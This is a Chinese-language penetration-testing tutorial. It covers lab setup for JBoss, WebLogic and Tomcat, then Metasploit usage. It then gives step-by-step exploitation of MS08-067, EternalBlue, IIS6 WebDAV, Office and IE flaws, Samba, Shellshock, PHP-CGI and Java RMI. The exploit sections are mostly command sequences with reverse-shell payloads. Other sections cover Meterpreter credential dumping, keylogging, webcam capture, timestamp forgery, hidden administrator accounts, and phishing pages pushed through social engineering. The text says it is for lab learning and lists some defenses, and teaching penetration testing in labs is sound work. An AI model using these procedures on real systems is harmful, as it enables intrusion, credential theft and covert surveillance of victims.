(注意:此时会发现PHPstudy集成环境中搭建的环境无法打开,将PHPstudy中阿帕奇的端口进行改,本人改为81)

5.tomcat+struts环境搭建

这里简单使用JSPstudy集成环境实现:

按照默认方式安装好jspstudy后—找到默认根目录tomcat/ webapps

在struts-2.文件—找到apps文件夹—将里面的文件拖到webapps文件夹中—会自动解压

structs开发之后打包是以.var结尾(文件多的正常都是打包之后再部署,相当于压缩)

ok(浏览器中验证即可http://IP+端口+文件路径)

(注意:将阿帕奇的端口进行修改,本人改为81:tomcat端口改为8081(看个人主要为了不和jboos的端口冲突))

6.jboos环境搭建

1.安装jdk配置环境变量

新建系统变量

变量名为:JAVA_HOME 变量值:C:\Program Files\Java\jdk1.6.0_45\

新建系统变量

变量名:Path 变量值:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin

新建系统变量

变量名:CLASSPATH 变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar

新建用户变量

变量名为:Path 变量值:%SystemRoot%/system32;%SystemRoot%;%JBOSS_HOME%\bin

2、下载jboss并配置运行环境变量

新建系统变量,变量名为:JBOSS_HOME 变量值:c:\jboss

变量名为:SystemRoot 变量值:C:\Windows

3、环境变量配好之后,需要为JBOSS添加用户,调用dos窗口,输入命令add-user

可参考:https://blog.csdn.net/yilisha258/article/details/80287913

4、运行C:\jboss\bin\run.bat 输入http://localhost:8080/ admin admin登录

只能用本地连接

5、端口及ip修改

进入 jboss-6.1.0.Final\server\default\deploy\jbossweb.sar

编辑 server.xml 搜索 “8080″和${jboss.bind.address}改为80及ip为:0.0.0.0

0.0.0.0表示类ip地址

或直接运行run.bat -b 0.0.0.0

6、登录控制台(账号密码都是admin)找到web application(war)s–add anew resource–选择war文件上传–会将打包的文件进行部署

访问:http://服务器IP地址:8080/test3693/

7.weblogic环境搭建

在服务器命令提示符中保证Java、javac可以命令成功运行

找到下载weblogic.jar文件

(注意:打开weblogic.jar方法:在桌面新建文件夹重命名为weblogic,然后用解压工具直接打开weblogic.jar文件,将里面的文件直接拖到新建的weblogic文件夹中)

在weblogic文件夹中找到install.exe双击运行

注意:(下面未提到的位置按默认即可)

进度到安装类型那一块选择weblogic.server安装即可

进度到先决条件检查时会报错,不用管,直接下一步

进度到安装完成时,后续步骤:启动weblogic配置导向前一定打勾

在weblogic配置向导中,创建域选择第一个basic weblogic server domain-12.1.2.0即可

管理员账户设置账户密码:密码需要口令复杂度要求。

浏览器登陆时要有路径

http://192.168.1.10:7001/console/login/LoginForm.jsp

kali之msf渗透测试  

1.metasploit介绍、安装、更新、目录结构

1.metasploit介绍

Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。Metasploit就是一个漏洞框架。

2.MSF安装要求

硬盘空间:

至少10G,个人建议50G;由于分区时用FAT32类型不支持大文件运行,所以分区建议使用NTFS、EXT3类型分区,

内存:

建议2G及以上

处理器:

处理器要求较低,市面上电脑均可满足要求,处理速度大于500HZ即可

网络设备

虚拟机中桥接即可,也可以自己配置IP,无线网络需要外接无线网卡

软件:

KALI 和其他测试系统

虚拟机:

必备:需安装kali和各种测试系统

Kali:

下载地址:http://www.kali.org/downloads/

升级指令:“apt-get update && apt-get upgrade”

Metasploitable系统:

它包含Linux系统中大大小小的漏洞,很适合做测试系统。

下载地址:https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

下载之后发现是zip格式的,直接解压用vm打开就可以。

3.MSF更新

1.替换yum源,将原有源用#注释掉。

vi /etc/apt/sources.list

kali官方源

#deb http://http.kali.org/ kali-rolling main non-free contrib

#deb-src http://http.kali.org/ kali-rolling main non-free contrib

#中科大源

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

保存退出即可

注意(vi编辑之保存—退出)

按ESC键 跳到命令模式,然后:

:w 保存文件但bai不退出vi

:w file 将修改另外保存到file中,du不退出vi

:w! 强制保存,不推zhi出vi

:wq 保存文件并退出vi

:wq! 强制保存文件,并退出vi

q: 不保存文件,退出vi

:q! 不保存文件,强制退出vi

:e! 放弃所有修改,从上次保存文件开始再编辑

2.添加数字签名

wget archive.kali.org/archive-key.asc //下载签名

apt-key add archive-key.asc //安装签名

注:如果添加数字签名还提示无法安装可删除原有msf

root@kali:~# apt remove metasploit-framework

注:卸载过程中无法获得锁 /var/cache/apt/archives/lock - open (11: 资源暂时不可用)

无法对目录 /var/cache/apt/archives/ 加锁

root@kali:~# sudo rm /var/cache/apt/archives/lock //进行强制解锁root@kali:~# sudo rm /var/cache/apt/archives/

3.安装msf框架

root@bogon:~# apt-get updateroot@kali:~# apt-get install metasploit-framework //安装msf框架root@kali:~#msfconsole //发现有提示数据库未启动,退出msf启动数据库root@kali:~# systemctl start postgresql //启动数据库root@kali:~# systemctl enable postgresql //允许开机自启动root@kali:~# msfdb init //构建数据库缓存root@kali:~#msfconsole

注意

如果更新完msf出现才下问题

root@kaliew:~# msfconsole

[] Bundler failed to load and returned this error:

'cannot load such file – bundler/setup’

[] You may need to uninstall or upgrade bundler

解决方法:

root@kaliew:~# sudo gem install bundler

root@kaliew:~# bundle update celluloid

4.MSF目录结构

MSF 在BT5下存放目录

/opt/MSF

MSF Kali下存放目录

/usr/share/MSF-framework/

漏洞框架地址

/usr/share/metasploit-framework/

各种模块几乎都在这里

cd modules

Auxiliary

主要包含渗透测试中一些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等

Encoders

各种编码工具,用于躲过入侵检测系统和过滤系统

Exploit

包含了exp,0day,各种漏洞利用脚本,主要攻击代码都存在这里

命名规则 系统/服务/模块、在使用exp时可以按照这个命名方法找

比如:use exploites/windows(系统)/vnc(服务)/realvnc_client(模块名)

Nops

用于绕过IDS IPS,生成脚本

Payloads

是攻击者发送给系统执行的指令。

命名规则:系统/类型/名称 比如: use payloads/windows/shell/bind_tcp

payloads与exploits区别:payloads在目标机执行、exploits在本地机执行作用与目标机。

Post

这个目录存放MSF中exploits执行成功之后,向目标机发送的一些功能性指令,比如提权、获取hash

Data

这个目录里盛放了Meterpreter、PassiveX、Vnc、DLLs等这些工具和一些用户接口代码,Msfweb 和一些其他模块用到的数据文件。

Plugins

模块用户需要使用load来加载,提供插件,例如数据库连接插件

Scripts

这个目录下文件大都是Meterpreter这个模块利用的脚本

tools

包含一些有用的脚本和零散的工具

2.MSF专业术语讲解

1.Exploit(渗透攻击)

渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。

流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。

2.Paylod攻击载荷(攻击载荷)

攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。

3.Shellcode(溢出代码)

shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。

4. Module(模块)

在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。

5. Listener(监听器)

监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

3.MSF基本命令

用?可以浏览所有命令:帮助菜单

msfconsole

打开控制台

search

搜索命令或模块,如:search ms08-067

Use

执行命令、利用模块,如:use exploit/windows/smb/ms08_067_netapi

back

从当前环境返回

info

查看模块信息,如:info exploit/windows/smb/ms08_067_netapi

check

检测

banner

显示MSF相关信息

connect+网址+端口

连接一个主机,如:connect www.baidu.com 80

exit/quit

退出控制台

irb

进入irb脚本模式

jobs

显示并管理作业(与Windows中的任务管理器一样)

kill

结束作业,杀死一个进程(与结束进程作用一样)

loadpath

加载一个模块路径

load

加载一个插件

resource

运行储存一个文件中的命令

route

查看一个会话路由信息

save

保存动作

set

给变量复制,如:set RHOST 192.168.1.0

show

显示给所有类型的模块,如:show options

setg

把一个赋值给全局变量

例如set设置IP,就会用到其他共计模块的RHOST中

sleep

在限定的秒数内什么也不做

unload

卸载一个模块

unset

解出一个或者多个变量,如:unset RHOST

unsetg

解出一个或者多个全局变量

version

显示MSF和控制台库版本

4.exploits和payloads模块

1.exploits模块

命名规则:系统/服务/名称

例如:windows/smb/ms08_067_netapi

RHOST:目标主机IP地址 如:set rhost 192.168.0.1RPORT:目标主机连接端口 如:set rport 80LHOST:攻击者的IP地址 如:set lhost 192.168.0.1LPORT:攻击者的端口 如:set lport 80Payload:有效的载荷,成功后返回shell 如:set payload windows/meterpreter/bind_tcp

2.payloads模块

是在使用一个模块之后再去使用的。

命名规则:系统/类型/名称

例如:Windows/dllinject/reverse_tcp

类型命名规则

shell:上传一个shell。

dllinject:注入一个dll到进程。

patchup***:修补漏洞。

upexec:上传并执行一个文件。

meterpreter:高级的payload。

vncinject:高级的payload。

passive:高级的payload。

名称的命名规则

shell_find_tag:在一个已建立的连接上创建一个shell。

shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。

bind_tcp:监听一个tcp连接。

reverse_tcp:反向建立tcp连接。

reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组。

add_user:创建一个新用户并添加到管理组。

xxx_ipv6_tcp:基于IPV6。

xxx_nonx_tcp:no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)。

xxx_ord_tcp:有序payload。

xxx_tcp_allports:在所有可能的端口。

5.MSF简单基本的使用流程:

在kali命令窗口输入Msfconsole启动MSF

Search +漏洞号码来查找漏洞,输出结果会有该漏洞相应的利用模块

Use+漏洞模块进入模块

Info查看该漏洞利用的相关信息(作者信息、可攻击的系统等等)

Show options看一下需要设置那些东西 如攻击IP地址'、端口号等

Set 根据show options输出的信息进行设置漏洞set

如;set payload、set rhost\rport、set lhost\lport、set target、等等

Check检测是否存在漏洞

Exploit或run开始攻击

看攻击效果:session -I 有会话则成功。

6.MSF辅助模块

1.Auxiliary辅助模块

1.Whois信息探测:

查看域名信息

Whois www.baidu.com

查看IP信息

Whois 192.168.1.100

2.利用辅助模块查找邮箱

use auxiliary/gather/search_email_collector 进入查找邮箱模块

show options 查看需要设置什么东西

set domain www.baidu.com 设置一个域名

set search_google false 由于google被国内封了,所以关了它

run 运行

3.使用auxiliary模块下的DNS枚举模块:

use auxiliary/gather/enum_dns 进入DNS枚举模块

show options 查看需要设置什么东西

set domain baidu.com 设置一个域名

注意:要设置顶级域名不要加www,不然爆破的时候就是xxx.www.baidu.com了

Run 运行

4.端口扫描模块

1.内置namp 扫描

Namp -sV 192.168.1.100

2.syn扫描

use auxiliary/scanner/portscan/syn 进入syn扫描

show options 查看需要设置什么东西

set rhost 192.168.1.100 设置目标地址

set threads 100 设置线程(默认为1,这里设置为100)

run 运行

扫描原理:

扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限。

TCP connect端口扫描服务端与客户端建立连接成功(目标端口开放)过程:

① Client端发送SYN;

② Server端返回SYN/ACK,表明端口开放;

③ Client端返回ACK,表明连接已建立;

④ Client端主动断开连接。

TCP connect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程:

① Client端发送SYN;

② Server端返回RST/ACK,表明端口未开放。

端口开放:

1、Client发送SYN ;

2、Server端发送SYN/ACK ;

3、Client发送RST断开(只需要前两步就可以判断端口开放)。

端口关闭:

1、Client发送SYN ;

2、Server端回复RST(表示端口关闭)。

优点:

SYN扫描要比TCP Connect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包;

3.tcp扫描

use auxiliary/scanner/portscan/tcp 进入tcp扫描

show options 查看需要设置什么东西

set rhost 192.168.1.100 设置目标地址

set threads 100 设置线程(默认为1,这里设置为100)

run 运行

5.服务版本信息探测

1.smb版本扫描

use auxiliary/scanner/smb/smb_version 进入SMB扫描

show options 查看需要设置什么东西

set rhost 192.168.1.100 设置目标地址

run 运行

2…ssh 版本扫描

use auxiliary/scanner/ssh/ssh_version 进入ssh 版本扫描

show options 查看需要设置什么东西

set rhost 192.168.1.100 设置目标地址

set threads 100 设置线程(默认为1,这里设置为100)

run 运行

3.ftp版本扫描

use auxiliary/scanner/ftp/ftp_version 进入ftp版本扫描

show options 查看需要设置什么东西

set rhost 192.168.1.100 设置目标地址

set threads 100 设置线程(默认为1,这里设置为100)

run 运行

7.meterpreter后期攻击使用方法

1:上传文件到Windows主机

简单来说,你可以上传本机的任意文件到远程目标主机中。

命令:

upload

注意:使用-r参数可以递归上传上传目录和文件

正确输文件的方法是:upload //root//123.exe c:\123.exe

2:从windows主机下载文件

download命令可以下载远程主机上的文件

命令:

download

注意:Windows路径要使用双斜线

如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令

3:在目标主机上执行exe文件

我们也可以使用execute命令在目标主机上执行应用程序

语法也非常简单

命令:

execute -f[options]

正确写法是: execute -f c://1.exe

4:创建CMD新通道

如果你想在目标主机上执行命令提示符,你可以使用下列命令:

命令:

execute -f cmd -c

5:显示进程

ps命令会显示目标主机上所有正在运行的进程

命令:

ps

6:获取目标主机的cmd shell

shell命令可以进入目标主机的cmd

命令:

shell

7:获取admin权限

getsystem命令可以提权到本地系统权限

命令:

getsystem

8:使用Hashdump转储所有hash值

我们可以使用meterpreter shell来dump目标主机的当前系统账户和密码。转储的内容是NTML哈希格式,网上有很多工具和技巧来破解它们。

NTLM在线破解:https://hashkiller.co.uk/ntlm-decrypter.aspx

命令:

hashdump

输出的每一行内容格式如下

Username:SID:LM hash:NTLM hash:::

9:使用Credcollect转储hash值

还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens

命令:

run credcollect

10:创建端口转发

meterpreter shell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。

add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。

请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。

命令:

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

rdesktop 127.0.0.1:6666

11:删除端口转发

跟创建端口转发命令类似,这条命令是删除一条端口转发记录

命令:

portfwd delete -l -p -r

如:portfwd delete -l 1337 -p 1337 -r 192.168.1.100

如果你想显示所有端口转发记录,你可以使用portfwd list命令,如果你想删除所有的记录,可以使用portfwd flush命令

12:在目标主机上搜索文件

搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。

例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令:

命令:

search -f *.txt

13:获取用户ID

getuid命令会显示主机上运行meterpreter 服务的用户

命令:

getuid

14:获取系统信息

sysinfo命令会显示系统名,操作系统,架构和语言等。

命令:

sysinfo

15:模拟任意用户(token操作)

这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。

incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下:

在meterpreter会话中加载这个模块非常简单,只要输入 use incognito命令即可

输入list_tokens -u来显示所有有效的tokens

然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID

getuid

use incognito

list_tokens -u

impersonate_token “Machine\user”

16:webcam摄像头命令

webcam_list 查看摄像头

webcam_snap 通过摄像头拍照

webcam_stream 通过摄像头开启视频

17:execute执行文件

execute 在目标机中执行文件

execute -H -i -f cmd.exe 创建新进程cmd.exe,-H不可见,-i交互

18:timestomp伪造时间戳

timestomp C:// -h 查看帮助

timestomp -v C://2.txt 查看时间戳

timestomp C://2.txt -f C://1.txt 将1.txt的时间戳复制给2.txt

19:enable_rdp脚本开启3389

run post/windows/manage/enable_rdp 开启远程桌面

run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 添加用户

run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 将3389端口转发到6662

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb

通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

20:键盘记录

keyscan_start 开始键盘记录

keyscan_dump 导出记录数据

keyscan_stop 结束键盘记录

其它详细见: https://xz.aliyun.com/t/2536

MSF多种渗透测试实例合集  

本文漏洞均为已发布漏洞,仅供学习实验,请自己搭建靶机进行学习。

1.(MS08-067)缓冲区溢出漏洞

漏洞简介:

MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程履行代码。在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击.

实验坏境:

kali linux、windows XP sp3 中文版

Kali:192.168.1.10

Windows xp :192.168.1.100

利用过程详解:

msfconsole 进入msf

search MS08-067 查找带ms08-067的模块

use exploit/windows/smb/ms08_067_netapi 使用找到的该模块

show options 显示需要设置什么选项(如果required列为YES,表示该选项必须设置)

set payload windows/meterpreter/reverse_tcp 设置使用的payload,此处是渗透成功后从目标主机发起一个反弹连接

set rhost 192.168.1.100 设置目标主机IP

set lhost 192.168.1.10 设置攻击者的IP,也就是payload反弹后连接的IP。

info 查看可用于的系统版本

show targets 显示有那些目标的类型

set target 34 这里目标靶机为win xp sp3 中文版,所以设置为34

show options 把全部设置检查一下

check 检测是否存在漏洞

exploit、run 开始攻击

攻击成功后此时就进入了meterpreter

help 查看该模式下的命令帮助

shell 进入目标系统的交互命令行shell

net user 查看当前用户

net user 用户名 密码 /add 添加用户

按(ctrl+z)可以把shell放到后台,回到payload会话

Background 可以把payload会话放到后台回到模块模式

Sessions -i 1 使用id为1的会话

Exit 关闭payload会话,回到模块模式

Exit 退出msf控制台

防范办法:

针对该溢出,我们并不是没有办法,既然是要扫描445端口,然后telnet,我们只需如下的方法就可以解决:

1、及时安装KB958644补丁

造成盗版用户黑屏的补丁是KB892130,这个漏洞的安全补丁编号是KB958644

2、关闭或屏蔽掉445端口。

3、安装专业防火墙。

4. 将Computer Browser、Server、Workstation这三个系统服务关闭

2.(MS17-010)(永恒之蓝,勒索病毒)

漏洞简介:

由美国国家安全局泄露的危险漏洞EternalBlueEternalBlue(永恒之蓝)进行传播,被该病毒入侵后,主机系统内的照片、图片、文档、音频、视频等几乎所有类型的文件都将被加密

EternalBlue:SMB1、SMBv2,对应ms17-010,针对445端口,影响范围较广,从Windows xp—windows server 2012

微软官方对该漏洞的公告:https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

病毒攻击流程:开始—扫描网络中的机器是否开启445端口—存在漏洞—加密用户文件—弹出勒索页面—成功勒索。

实验环境:

kali :192.168.1.4

windows 7:192.168.1.10

利用过程详解:

由于旧版本kali中无MS17-010 enternalblue攻击模块,所以要安装一下。

漏洞利用步骤:

1.在kali中安装MS17-010 enternalblue攻击模块

2.使用msf工具进行攻击

3.对被渗透计算机进行控制

1.下载攻击模块:

wgethttps://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb

把模块拷贝到metasploit对应目录下

cp ms17_010_eternalblue.rb /usr/shara/metasploit-framework/moduls/exploits/windows/smb

2.使用msf进行攻击

msfconsole 进入msfsearch ms17-010 查看此漏洞可利用的模块use exploitwindows/smb/ms17_010_eternalblue 进入此模块show options 查看需要设置什么选项set payload windows/x64/meterpreter/reverse_tcp 设置反弹连接payloadset LHOSTS 192.168.1.4 设置操作机IPset RHOST 192.168.1.10 设置靶机IPrun或exploit 进行攻击shell 进入对方命令行net user test 1234 /add(xxxx用户名 1234密码)创建用户及密码net localgroup administrators test /add (将用户设置为管理员权限)upload /root/123.exe c: 上传文件execute -f c:\123.exe 执行文件

防范办法:

1.参见微软官方

关闭445、137、138、139、关闭网络共享

https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

2.安装专门的免疫工具,安全厂商有提供

http://www.antiy.com/tools.html

安天实验室蠕虫勒索软件免疫工具(wannacry)

3.(MS12-042)漏洞

漏洞简介:

存在与Windows xp和Windows server 2003的所有32位版本、及Windows 7(由于基于x64的系统)以及Windows server 2008 R2 x64

该漏洞是Windows 内核中的漏洞,可能允许特权提升

Windows用户模式调度程序存在内存破环漏洞

用户模式调度程序处理系统请求时存在权限提升可能,成功利用后导致在内核模式中运行任意代码。

实验环境:

Windows

利用过程详解

漏洞利用步骤:

普通用户登陆系统

使用漏洞利用工具sysret提权

添加管理员账户

添加新用户,并隐藏该用户

先在服务器创建一个新用户

sysret -e cmd.exe 使用此命令进行提权

whoam 确认是否提权成功

net user temp qaz123 /add 创建temp用户 密码qaz123

net localgroup administorters temp /add 把tempj加到管理员组

用新用户添加的temp用户登录Windows

net user hacker$ qaz123 /add 创建以用户hacker ( 使 用 (使用 (使用时使用net user 看不到该用户,但是计算机管理中可以看到)

使用regedt32导出hacker$的注册表项

在计算机管理界面删除hacker$用户

在使用regedt32导入hacker$的注册表项

这样hacker$用户被隐藏了

在使用hacker$用户删除temp用户

防范办法:

及时更新Windows系统

4.CVE-2011-4862(freebsd telnetd)漏洞利用

漏洞介绍:

存在与freebsd Linux 5.3-8.2版本中telnetd 组件,典型的缓冲区漏洞。

telnetd中的libtelnet/encrypt.c源码中存在缓冲区溢出漏洞。

远程攻击者可借助超长encryption键执行任意代码。

详情参见cve官网

实验环境

kali

FreeBSD 8.1

利用过程详解

漏洞利用步骤

1.在FreeBSD中启动telnet服务

2.使用msf工具进行攻击

3.控制被渗透计算机

在FreeBSD中启动telnet服务

开始渗透攻击:

search 51182use exploit/freebsd/telnet/telnet_encrypt_keyidset payload bsd/x86/shell/revers_tcpset rhost 192.168.1.100set lhost 192.168.1.10set target 0runwhoamirootpwd

防范方法:

关闭telnet服务

5.oracle漏洞(cve-2009-1979)

漏洞介绍:

详细见cve官网

实验环境

kali

windows server 2003 安装oracle数据库

利用过程详解

msfconsolesearch tns_authuse exploit/windows/oracle/tns_auth_sesskeyshow optionsset payload windows/meterpreter/reverse_tcpset rhost 192.168.1.10set lhost 192.168.1.100set target 1show optionscheckexploitshell

6.IE漏洞(MS11-050)

漏洞介绍

实验坏境

kali

windows xp sp3

利用过程详解

渗透步骤“

在msf工具加载攻击模块和载荷模块,构建钓鱼网页。

利用社工等手段引诱被渗透者访问钓鱼网站

对计算机进行控制

msfconsolesearch ms11-050use exploit/windows/browser/ms11_050_mshtml_cobjectelementset payload windows/meterpreter/reverse_tcpshow optionsset srvhost 192.168.1.100 设置自己的服务器地址,这里设置本机为服务器set rhost 192.168.1.10set lhost 192.168.1.100set uripath index.html 伪造网页地址set target 1run

此时会出现一个伪造的网站地址

利用社工的方法让目标访问这个地址

当对方访问的这个地址时

sessions -I 查看会话

sessions -i 1 进入会话1

shell

7.浏览器漏洞(MS10-018)

漏洞介绍

见官网

实验坏境

kali

windows xp sp3

利用过程详解

msfconsolesearch ms10-018use exploit /windows/browser/ms10-018_ie_behaviorsshow optionsset payload windows/meterpreter/bind_tcp 设置一个payload正向连接shellset srvhost 192.168.1.100 设置自己服务器地址set lhost 192.168.1.100set rhost 192.168.1.10run

此时会有一个url地址,通过社工等方式让目标主机进行访问

等目标主机访问了

sessions 查看会话

sessions -i 1 进入会话1

shell

8.IIS6.0漏洞(cve-2017-7269)

漏洞介绍

存在与Windows server 2003 R2 IIS6.0的webDAV服务中的缓存区溢出漏洞。

实验环境

kali

windows server 2003 (安装iis6.0并启用webDAV)

利用过程详解

msfconsolesearch cve-2017-7269use exploit/windows/iis/cve-2017-7269set payload windows/meterpreter/reverse_tcpshow optionsset rhost 192.168.1.10set lhost 192.168.1.100show optionsrunshell

9.office 漏洞(MS10-087)

漏洞介绍

见cve官网

实验环境

kali

windows xp

利用过程详解

msfconsolesearch ms10-087use exploit/windows/fileformat/ms10_087_rtf_pfragments_bofshow optionsset payload windows/execset FILENAME ceshi.rtf 文件名改成ceshiset CMD calc.exe 设置现在让他弹出一个计算器run

会在root/.msf4/local/ceshi.rtf这个路径生成文件ceshi.rtf

将文件复制到靶机,运行就会弹出计算器

10.office漏洞(cve-2017-11882)

漏洞介绍:

office远程代码执行漏洞,攻击者可利用漏洞执行任意命令。

是office内存破环漏洞

详细参见官网

实验环境

kali

windows 7

利用过程详解

msfconsolesearch cve-2017-11882show optionsset payload windows/meterpreter/reverse_tcpset srchost 192.168.1.10set lhost 192.168.1.10set rhost 192.168.1.100set uripath cveshow optionsrun

通过社工等方法让目标打开文件

等对方上钩

sessions 查看会话

sessions -i 1 进入会话

shell

11.利用 samba 服务漏洞入侵linux主机(CVE-2017-7494与samba低版本漏洞利用)

Samba介绍

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等。

smba 漏洞利用详解

前提:

查看 samba 版本并打开 samba 配置文件添加以下配置

vi /etc/samba/smb.conf与/tmp/public目录配置一下共享:wp保存对文件创建一个共享目录root@kali:~# mkdir /tmp/public修改读写执行权限root@kali:~# chmod 777 /tmp/public以上是SambaCry漏洞利用前提,一定要有一个共享目录,这样攻击者可以在共享目录传递攻击代码并且执行,获得Root权限,控制肉鸡重启Sambaroot@kali:~# /etc/init.d/samba restart查看 samba 进程root@kali:~# ps aux | grep samba查看 samba 端口状态(采用 139 和 445 端口)root@kali:~# netstat -tnlp samba更新 MSF 后使用'exploit/linux/samba/is_known_pipename'利用模块,设置 rhost 后直接 exploit 即可得到 shell(有时版本需要设置ID=3)

找最新的漏洞

入侵成功 可进行操作

samba 低版本漏洞(比较少)

实验环境MSF提供的漏洞环境

开始测试

1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:

nmap -sS -Pn -A 192.168.0.142

2、发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter 会话,需要用到metasploit.

3、打开metasploit之后需要先判断samba的版本,命令如下:

msf> search scanner/samba

这条命令用来查找samba相关exploit参数

4、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。

msf> use auxiliary/scanner/smb/smb_versionmsfauxiliary(smb_version) > set RHOSTS 192.168.0.102

这条命令定义你将要扫描samba版本的远程主机的IP地址.

exploit

该命令将开始漏洞利用

5、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机

msf> use exploit/multi/samba/usermap_scriptmsf exploit(usermap_script) > set RHOST 192.168.0.102msf exploit(usermap_script) > exploit

执行完成以上命令如图所示,成功创建了shell 会话.nmap -sS -Pn -A 192.168.0.142

12.Bash Shellshock CVE-2014-6271(破壳)

Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。

实验环境:

kali

metasploitable2

配置靶机:

要利用此漏洞,需要在 cgi-bin 目录中有一个可执行脚本。本次实验一个简单的输出“hello world”脚本即可

进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令:

sudo nano hello.sh

输入正确的密码,然后对hello.sh脚本进行编辑

#! /bin/bash

echo “Content-type: text/html”

echo “”

echo “Hello world!”

保存好后,赋予脚本可执行权限,使用chmod命令:

sudo chmod 755 hello.sh

验证;

192.168.0.10/cgi-bin/hello.sh 看网页是否正常显示该脚本

准备渗透攻击

在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。

我们可以使用search命令来搜索exploits。输入shellshock,就能找到

apache_mod_cgi_bash_env_exec模块,复制模块路径use exploit/multi/http/apache_mod_cgi_bash_env_execshow optionsset rhost 192.168.1.10set LHOST 192.168.0.100set targeturi /cgi-bin/hello.sh 设置脚本文件路径set payload linux / x86 / shell / reverse_tcpshow optionscheck 查看靶机是否存在漏洞exploitwhoami 查看当前用户信息

13.php CGI漏洞利用

用phpinfo去看对方php版本服务器版本是否支持CGI,ServerAPI一行中,是服务器中间件一个扩展功能,留言板功能可能用到

msf > search cve-2012-1823msf > use exploit/multi/http/php_cgi_arg_injectionmsf exploit(php_cgi_arg_injection) > show optionsmsf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102rhost => 192.168.0.102msf exploit(php_cgi_arg_injection) > run

14.Java RMI SERVER 命令执行漏洞

Java RMI SERVER 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞,导致代码执行。

利用步骤:

nmap -p0-65535 IP ,查看1099端口是否开启use exploit/multi/misc/java_rmi_serverset RHOST IPexploitshell(进入meterpreter 时执行)

